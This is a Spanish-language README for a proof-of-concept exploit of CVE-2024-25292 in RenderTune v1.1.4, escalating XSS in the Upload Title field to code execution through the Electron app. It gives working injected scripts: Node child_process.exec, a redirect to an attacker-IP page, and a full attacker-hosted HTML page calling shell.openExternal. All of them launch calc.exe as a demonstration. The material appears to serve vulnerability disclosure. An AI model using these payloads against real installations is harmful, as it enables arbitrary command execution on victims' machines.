
Exploit de XSS a RCE en RenderTune v1.1.4
Una prueba de concepto para la vulnerabilidad CVE-2024-25292.
Una vulnerabilidad de cross-site scripting (XSS) en RenderTune v1.1.4 permite a los atacantes ejecutar scripts web arbitrarios o HTML mediante un payload manipulado inyectado en el parámetro Upload Title.
En este repositorio hay una aplicación vulnerable de ejemplo y un exploit de prueba de concepto (POC) de la misma.
Es una vulnerabilidad que permite RCE a través de XSS. Hay una parte del título que admite XSS, por lo que es una vulnerabilidad que permite RCE a través de la sintaxis de NodeJS mediante la sintaxis de XSS.
Paso 1) Confirma que el XSS ocurre en la parte del título ※ En este momento, el elemento Upload no se registrará a menos que se adjunte la imagen.
<b>jruru</b>

Paso 2) Por lo tanto, está configurado para usar XSS y ejecutar comandos del sistema NodeJS.
<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>

※ Cuando intentas un ataque usando window.location, automáticamente vas a la página que configuras cada vez que ejecutas la aplicación.
<script>window.loaction='http://[attacker IP]/[PoC.html]'</script>
Nota: ※ Si quieres probarlo rápidamente, crea un servidor en el PC del atacante con el siguiente código.
$ python -m http.server 80
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<!-- Run scripts using on-click properties directly to the tag -->
<a id="jruruLink" href="#" onclick="openExternal()">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU');
alert(e);
}
}
// Run script automatically when loading pages
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
